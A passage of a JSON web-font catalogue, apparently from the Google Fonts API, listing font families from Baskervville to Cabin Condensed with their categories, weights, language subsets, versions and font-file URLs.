        "regular": "http://fonts.gstatic.com/s/baskervville/v1/YA9Ur0yU4l_XOrogbkun3kQgt5OohvbJ9A.ttf",
        "italic": "http://fonts.gstatic.com/s/baskervville/v1/YA9Kr0yU4l_XOrogbkun3kQQtZmspPPZ9Mlt.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Battambang",
      "category": "display",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/battambang/v13/uk-mEGe7raEw-HjkzZabDnWj4yxx7o8.ttf",
        "700": "http://fonts.gstatic.com/s/battambang/v13/uk-lEGe7raEw-HjkzZabNsmMxyRa8oZK9I0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Baumans",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/baumans/v9/-W_-XJj9QyTd3QfpR_oyaksqY5Q.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bayon",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v13",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bayon/v13/9XUrlJNmn0LPFl-pOhYEd2NJ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Be Vietnam",
      "category": "sans-serif",
      "variants": [
        "100",
        "100italic",
        "300",
        "300italic",
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic",
        "800",
        "800italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "100": "http://fonts.gstatic.com/s/bevietnam/v1/FBVxdDflz-iPfoPuIC2iKsUn7W1hK2czPg.ttf",
        "100italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVvdDflz-iPfoPuIC2iIqMfiWdlCWIjPi5p.ttf",
        "300": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKg0FzUdPJ24qJzc.ttf",
        "300italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfQUVFI0wvNzdwXQ.ttf",
        "regular": "http://fonts.gstatic.com/s/bevietnam/v1/FBVzdDflz-iPfoPuIC2iEqEt6U9kO2c.ttf",
        "italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVxdDflz-iPfoPuIC2iIqMn7W1hK2czPg.ttf",
        "500": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKlUEzUdPJ24qJzc.ttf",
        "500italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfGURFI0wvNzdwXQ.ttf",
        "600": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKnkDzUdPJ24qJzc.ttf",
        "600italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfNUNFI0wvNzdwXQ.ttf",
        "700": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKh0CzUdPJ24qJzc.ttf",
        "700italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfUUJFI0wvNzdwXQ.ttf",
        "800": "http://fonts.gstatic.com/s/bevietnam/v1/FBVwdDflz-iPfoPuIC2iKgEBzUdPJ24qJzc.ttf",
        "800italic": "http://fonts.gstatic.com/s/bevietnam/v1/FBVudDflz-iPfoPuIC2iIqMfTUFFI0wvNzdwXQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bebas Neue",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bebasneue/v1/JTUSjIg69CK48gW7PXooxW5rygbi49c.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Belgrano",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/belgrano/v10/55xvey5tM9rwKWrJZcMFirl08KDJ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bellefair",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "hebrew",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bellefair/v5/kJExBuYY6AAuhiXUxG19__A2pOdvDA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Belleza",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/belleza/v8/0nkoC9_pNeMfhX4BtcbyawzruP8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bellota",
      "category": "display",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "300": "http://fonts.gstatic.com/s/bellota/v1/MwQzbhXl3_qEpiwAID55kGMViblPtXs.ttf",
        "300italic": "http://fonts.gstatic.com/s/bellota/v1/MwQxbhXl3_qEpiwAKJBjHGEfjZtKpXulTQ.ttf",
        "regular": "http://fonts.gstatic.com/s/bellota/v1/MwQ2bhXl3_qEpiwAGJJRtGs-lbA.ttf",
        "italic": "http://fonts.gstatic.com/s/bellota/v1/MwQ0bhXl3_qEpiwAKJBbsEk7hbBWrA.ttf",
        "700": "http://fonts.gstatic.com/s/bellota/v1/MwQzbhXl3_qEpiwAIC5-kGMViblPtXs.ttf",
        "700italic": "http://fonts.gstatic.com/s/bellota/v1/MwQxbhXl3_qEpiwAKJBjDGYfjZtKpXulTQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bellota Text",
      "category": "display",
      "variants": [
        "300",
        "300italic",
        "regular",
        "italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "cyrillic",
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-06",
      "files": {
        "300": "http://fonts.gstatic.com/s/bellotatext/v1/0FlMVP2VnlWS4f3-UE9hHXM5VfsqfQXwQy6yxg.ttf",
        "300italic": "http://fonts.gstatic.com/s/bellotatext/v1/0FlOVP2VnlWS4f3-UE9hHXMx--Gmfw_0YSuixmYK.ttf",
        "regular": "http://fonts.gstatic.com/s/bellotatext/v1/0FlTVP2VnlWS4f3-UE9hHXMB-dMOdS7sSg.ttf",
        "italic": "http://fonts.gstatic.com/s/bellotatext/v1/0FlNVP2VnlWS4f3-UE9hHXMx-9kKVyv8Sjer.ttf",
        "700": "http://fonts.gstatic.com/s/bellotatext/v1/0FlMVP2VnlWS4f3-UE9hHXM5RfwqfQXwQy6yxg.ttf",
        "700italic": "http://fonts.gstatic.com/s/bellotatext/v1/0FlOVP2VnlWS4f3-UE9hHXMx--G2eA_0YSuixmYK.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "BenchNine",
      "category": "sans-serif",
      "variants": [
        "300",
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/benchnine/v8/ahcev8612zF4jxrwMosT--tRhWa8q0v8ag.ttf",
        "regular": "http://fonts.gstatic.com/s/benchnine/v8/ahcbv8612zF4jxrwMosrV8N1jU2gog.ttf",
        "700": "http://fonts.gstatic.com/s/benchnine/v8/ahcev8612zF4jxrwMosT6-xRhWa8q0v8ag.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bentham",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bentham/v10/VdGeAZQPEpYfmHglKWw7CJaK_y4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Berkshire Swash",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/berkshireswash/v8/ptRRTi-cavZOGqCvnNJDl5m5XmNPrcQybX4pQA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Beth Ellen",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v1",
      "lastModified": "2019-11-05",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bethellen/v1/WwkbxPW2BE-3rb_JNT-qEIAiVNo5xNY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bevan",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bevan/v11/4iCj6KZ0a9NXjF8aUir7tlSJ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Big Shoulders Display",
      "category": "display",
      "variants": [
        "100",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "100": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1xPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ur9DrDJYM2lAZ.ttf",
        "300": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UZ_LLJrgA00kAdA.ttf",
        "regular": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1_PZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1sy9rvLpMc2g.ttf",
        "500": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UP_PLJrgA00kAdA.ttf",
        "600": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UE_TLJrgA00kAdA.ttf",
        "700": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ud_XLJrgA00kAdA.ttf",
        "800": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1Ua_bLJrgA00kAdA.ttf",
        "900": "http://fonts.gstatic.com/s/bigshouldersdisplay/v1/fC1yPZJEZG-e9gHhdI4-NBbfd2ys3SjJCx1UT_fLJrgA00kAdA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Big Shoulders Text",
      "category": "display",
      "variants": [
        "100",
        "300",
        "regular",
        "500",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v1",
      "lastModified": "2020-03-03",
      "files": {
        "100": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xzezRtP9G3CGPIf49hxc8P0eytUxBU-IZ_YscCdXQB.ttf",
        "300": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUMKRfSOkOfG0Y3A.ttf",
        "regular": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xxezRtP9G3CGPIf49hxc8P0eytUxBsnIx7QMISdQ.ttf",
        "500": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUaKVfSOkOfG0Y3A.ttf",
        "600": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBURKJfSOkOfG0Y3A.ttf",
        "700": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUIKNfSOkOfG0Y3A.ttf",
        "800": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUPKBfSOkOfG0Y3A.ttf",
        "900": "http://fonts.gstatic.com/s/bigshoulderstext/v1/55xyezRtP9G3CGPIf49hxc8P0eytUxBUGKFfSOkOfG0Y3A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bigelow Rules",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bigelowrules/v8/RrQWboly8iR_I3KWSzeRuN0zT4cCH8WAJVk.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bigshot One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bigshotone/v10/u-470qukhRkkO6BD_7cM_gxuUQJBXv_-.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bilbo",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bilbo/v9/o-0EIpgpwWwZ210hpIRz4wxE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bilbo Swash Caps",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bilboswashcaps/v12/zrf-0GXbz-H3Wb4XBsGrTgq2PVmdqAPopiRfKp8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "BioRhyme",
      "category": "serif",
      "variants": [
        "200",
        "300",
        "regular",
        "700",
        "800"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v4",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/biorhyme/v4/1cX3aULHBpDMsHYW_ESOjnGAq8Sk1PoH.ttf",
        "300": "http://fonts.gstatic.com/s/biorhyme/v4/1cX3aULHBpDMsHYW_ETqjXGAq8Sk1PoH.ttf",
        "regular": "http://fonts.gstatic.com/s/biorhyme/v4/1cXwaULHBpDMsHYW_HxGpVWIgNit.ttf",
        "700": "http://fonts.gstatic.com/s/biorhyme/v4/1cX3aULHBpDMsHYW_ET6inGAq8Sk1PoH.ttf",
        "800": "http://fonts.gstatic.com/s/biorhyme/v4/1cX3aULHBpDMsHYW_ETmiXGAq8Sk1PoH.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "BioRhyme Expanded",
      "category": "serif",
      "variants": [
        "200",
        "300",
        "regular",
        "700",
        "800"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dVIE1zZzytGswgU577CDY9LjbffxxcblSHSdTXrb_z.ttf",
        "300": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dVIE1zZzytGswgU577CDY9Ljbffxw4bVSHSdTXrb_z.ttf",
        "regular": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dQIE1zZzytGswgU577CDY9LjbffySURXCPYsje.ttf",
        "700": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dVIE1zZzytGswgU577CDY9LjbffxwoalSHSdTXrb_z.ttf",
        "800": "http://fonts.gstatic.com/s/biorhymeexpanded/v5/i7dVIE1zZzytGswgU577CDY9Ljbffxw0aVSHSdTXrb_z.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Biryani",
      "category": "sans-serif",
      "variants": [
        "200",
        "300",
        "regular",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "devanagari",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "200": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84YddYQyGTBSU-J-RxQ.ttf",
        "300": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84YddeAxGTBSU-J-RxQ.ttf",
        "regular": "http://fonts.gstatic.com/s/biryani/v5/hv-WlzNxIFoO84YdTUwZPTh5T-s.ttf",
        "600": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84YddZQ3GTBSU-J-RxQ.ttf",
        "700": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84YddfA2GTBSU-J-RxQ.ttf",
        "800": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84Yddew1GTBSU-J-RxQ.ttf",
        "900": "http://fonts.gstatic.com/s/biryani/v5/hv-TlzNxIFoO84Yddcg0GTBSU-J-RxQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bitter",
      "category": "serif",
      "variants": [
        "regular",
        "italic",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v15",
      "lastModified": "2019-07-22",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bitter/v15/rax8HiqOu8IVPmnLeIZoDDlCmg.ttf",
        "italic": "http://fonts.gstatic.com/s/bitter/v15/rax-HiqOu8IVPmn7eoxsLjxSmlLZ.ttf",
        "700": "http://fonts.gstatic.com/s/bitter/v15/rax_HiqOu8IVPmnzxKlMBBJek0vA8A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Black And White Picture",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/blackandwhitepicture/v8/TwMe-JAERlQd3ooUHBUXGmrmioKjjnRSFO-NqI5HbcMi-yWY.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Black Han Sans",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "korean",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/blackhansans/v8/ea8Aad44WunzF9a-dL6toA8r8nqVIXSkH-Hc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Black Ops One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/blackopsone/v11/qWcsB6-ypo7xBdr6Xshe96H3WDzRtjkho4M.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Blinker",
      "category": "sans-serif",
      "variants": [
        "100",
        "200",
        "300",
        "regular",
        "600",
        "700",
        "800",
        "900"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v3",
      "lastModified": "2019-11-05",
      "files": {
        "100": "http://fonts.gstatic.com/s/blinker/v3/cIf_MaFatEE-VTaP_E2hZEsCkIt9QQ.ttf",
        "200": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_OGARGEsnIJkWL4.ttf",
        "300": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_IWDRGEsnIJkWL4.ttf",
        "regular": "http://fonts.gstatic.com/s/blinker/v3/cIf9MaFatEE-VTaPxCmrYGkHgIs.ttf",
        "600": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_PGFRGEsnIJkWL4.ttf",
        "700": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_JWERGEsnIJkWL4.ttf",
        "800": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_ImHRGEsnIJkWL4.ttf",
        "900": "http://fonts.gstatic.com/s/blinker/v3/cIf4MaFatEE-VTaP_K2GRGEsnIJkWL4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bokor",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "khmer"
      ],
      "version": "v12",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bokor/v12/m8JcjfpeeaqTiR2WdInbcaxE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bonbon",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bonbon/v11/0FlVVPeVlFec4ee_cDEAbQY5-A.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Boogaloo",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/boogaloo/v11/kmK-Zq45GAvOdnaW6x1F_SrQo_1K.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bowlby One",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bowlbyone/v11/taiPGmVuC4y96PFeqp8smo6C_Z0wcK4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bowlby One SC",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bowlbyonesc/v11/DtVlJxerQqQm37tzN3wMug9Pzgj8owhNjuE.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Brawler",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/brawler/v10/xn7gYHE3xXewAscGsgC7S9XdZN8.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bree Serif",
      "category": "serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v9",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/breeserif/v9/4UaHrEJCrhhnVA3DgluAx63j5pN1MwI.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bubblegum Sans",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bubblegumsans/v8/AYCSpXb_Z9EORv1M5QTjEzMEtdaHzoPPb7R4.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bubbler One",
      "category": "sans-serif",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bubblerone/v8/f0Xy0eqj68ppQV9KBLmAouHH26MPePkt.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Buda",
      "category": "display",
      "variants": [
        "300"
      ],
      "subsets": [
        "latin"
      ],
      "version": "v10",
      "lastModified": "2019-07-16",
      "files": {
        "300": "http://fonts.gstatic.com/s/buda/v10/GFDqWAN8mnyIJSSrG7UBr7pZKA0.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Buenard",
      "category": "serif",
      "variants": [
        "regular",
        "700"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/buenard/v11/OD5DuM6Cyma8FnnsPzf9qGi9HL4.ttf",
        "700": "http://fonts.gstatic.com/s/buenard/v11/OD5GuM6Cyma8FnnsB4vSjGCWALepwss.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bungee",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bungee/v5/N0bU2SZBIuF2PU_ECn50Kd_PmA.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bungee Hairline",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bungeehairline/v5/snfys0G548t04270a_ljTLUVrv-7YB2dQ5ZPqQ.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bungee Inline",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bungeeinline/v5/Gg8zN58UcgnlCweMrih332VuDGJ1-FEglsc.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bungee Outline",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bungeeoutline/v5/_6_mEDvmVP24UvU2MyiGDslL3Qg3YhJqPXxo.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Bungee Shade",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v5",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/bungeeshade/v5/DtVkJxarWL0t2KdzK3oI_jks7iLSrwFUlw.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Butcherman",
      "category": "display",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v11",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/butcherman/v11/2EbiL-thF0loflXUBOdb1zWzq_5uT84.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Butterfly Kids",
      "category": "handwriting",
      "variants": [
        "regular"
      ],
      "subsets": [
        "latin-ext",
        "latin"
      ],
      "version": "v8",
      "lastModified": "2019-07-16",
      "files": {
        "regular": "http://fonts.gstatic.com/s/butterflykids/v8/ll8lK2CWTjuqAsXDqlnIbMNs5S4arxFrAX1D.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cabin",
      "category": "sans-serif",
      "variants": [
        "regular",
        "italic",
        "500",
        "500italic",
        "600",
        "600italic",
        "700",
        "700italic"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v14",
      "lastModified": "2019-07-22",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cabin/v14/u-4x0qWljRw-Pe839fxqmjRv.ttf",
        "italic": "http://fonts.gstatic.com/s/cabin/v14/u-4_0qWljRw-Pd81__hInyRvYwc.ttf",
        "500": "http://fonts.gstatic.com/s/cabin/v14/u-480qWljRw-PdfD3NhisShmeh5I.ttf",
        "500italic": "http://fonts.gstatic.com/s/cabin/v14/u-460qWljRw-Pd81xwxhuyxEfw5IR-Y.ttf",
        "600": "http://fonts.gstatic.com/s/cabin/v14/u-480qWljRw-Pdfv29hisShmeh5I.ttf",
        "600italic": "http://fonts.gstatic.com/s/cabin/v14/u-460qWljRw-Pd81xyBmuyxEfw5IR-Y.ttf",
        "700": "http://fonts.gstatic.com/s/cabin/v14/u-480qWljRw-PdeL2thisShmeh5I.ttf",
        "700italic": "http://fonts.gstatic.com/s/cabin/v14/u-460qWljRw-Pd81x0RnuyxEfw5IR-Y.ttf"
      }
    },
    {
      "kind": "webfonts#webfont",
      "family": "Cabin Condensed",
      "category": "sans-serif",
      "variants": [
        "regular",
        "500",
        "600",
        "700"
      ],
      "subsets": [
        "vietnamese",
        "latin-ext",
        "latin"
      ],
      "version": "v13",
      "lastModified": "2019-07-17",
      "files": {
        "regular": "http://fonts.gstatic.com/s/cabincondensed/v13/nwpMtK6mNhBK2err_hqkYhHRqmwaYOjZ5HZl8Q.ttf",
        "500": "http://fonts.gstatic.com/s/cabincondensed/v13/nwpJtK6mNhBK2err_hqkYhHRqmwilMH97F15-K1oqQ.ttf",
        "600": "http://fonts.gstatic.com/s/cabincondensed/v13/nwpJtK6mNhBK2err_hqkYhHRqmwiuMb97F15-K1oqQ.ttf",
